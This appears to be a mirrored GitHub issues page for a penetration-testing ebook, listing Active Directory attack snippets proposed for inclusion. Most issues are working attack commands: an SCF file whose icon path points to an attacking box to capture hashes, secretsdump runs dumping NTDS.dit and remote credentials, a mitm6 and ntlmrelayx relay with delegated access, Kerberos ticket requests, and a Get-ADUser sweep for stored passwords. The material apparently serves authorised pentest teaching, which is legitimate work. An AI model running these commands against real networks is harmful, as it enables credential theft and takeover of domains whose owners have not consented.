Giter VIP home page Giter VIP logo

ebook's People

Contributors

7minsec avatar

Watchers

 avatar

ebook's Issues

Add command to parse a bloodhound json export

When you need to export a big list of systems (such as those you have admin access over) from BloodHound, you get a big .json file with a bunch of extra data in it. It can help to use some cat action to slim that down:

cat export-from-bloodhound.json | jq '.nodes[].label' | tr -d '"' | sort

And to remove @domain.com:

cat export-from-bloodhound.json | jq '.nodes[].label' | tr -d '"' | awk -F’@’ ‘{print $1}’ | sort

Add LNK/SCF attack

Teach folks how to use one of these files like:

[Shell]
Command=2
IconFile=\\your.attacking.box.ip\icon.ico
[Taskbar]
Command=ToggleDesktop

If you can't browse directly to the shares you want to drop .scf files at, use Kali built-in smbclient tool to do the job:

smbclient \\\\the.ip.of.server\\sharename -U samplecompany/billybob

Add additional secretsdump context

Offline dump:

Secretsdump -ntds Active Directory\ntds.dit -system registry/SYSTEM -hashes lmhash:nthash LOCAL -outputfile loot/bigdump

Secretsdump from a local machine:

python3 secretsdump.py test.local/john:[email protected]

Add man-in-the-middle-6 (mitm6) attack

Spin up a loot share

smbserver.py share2 /share -smb2support

Kick things off with mitm6

sudo python3 /opt/mitm6/mitm6/mitm6.py -i eth0 -d pwn.town --no-ra --ignore-nofqdn

Get the relay going:

sudo python3 /opt/impacket/examples/ntlmrelayx.py -6 -wh doesntexist -t ldaps://10.0.7.100 -smb2support --delegate-access

Add getst example and secretsdump context

Getst.py -spn cifs/somedc.domain.com domain.com/user -dc-ip ip.of.some.dc 

^^^ this might not work?

getTGT.py 'contoso.local/Anakin:Vader1234!'
Export KRB5CCNAME=user.ccache
Secretsdump -debug -k FQDN.OF.SOMEBOX

But this does?

Secretsdump domain.com/user@somebox

Script to batch resolve hostnames to IPs

It's good!

$filePath = "hosts.txt"
$exportPath = "output.csv"
$hostnames = Get-Content $filePath

$table = @()

foreach ($hostname in $hostnames) {
    try {
        $ipAddress = [System.Net.Dns]::GetHostAddresses($hostname) | Select-Object -ExpandProperty IPAddressToString
        $table += [PSCustomObject]@{
            Hostname = $hostname
            IPAddress = $ipAddress
        }
    }
    catch {
        $table += [PSCustomObject]@{
            Hostname = $hostname
            IPAddress = 'N/A'
        }
    }
}

# Sort the table by IP address
$table = $table | Sort-Object IPAddress

# Export the sorted table to CSV
$table | Export-Csv -Path $exportPath -NoTypeInformation

Better Get-ADUser code to parse fields and find sensitive information

A nice nugget from a reader:

Get-ADUser -filter {enabled -eq $true} -Properties * | ForEach-Object{$_.psobject.properties| Where-Object {($_.Name -notmatch "MemberOf|PropertyNames") -and ($_.Value -like "*passw*")}}|Select-Object baseobject,name,value|sort-object baseobject | export-csv users.csv

Need to test this in the lab first.

Find ILO/IPMI cards

This snippet helps:

cat st-all.gnmap | grep -i "623/open" | awk '/open/{print $3}' | tr -d '()' | sort > 623-maybe-open.txt

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.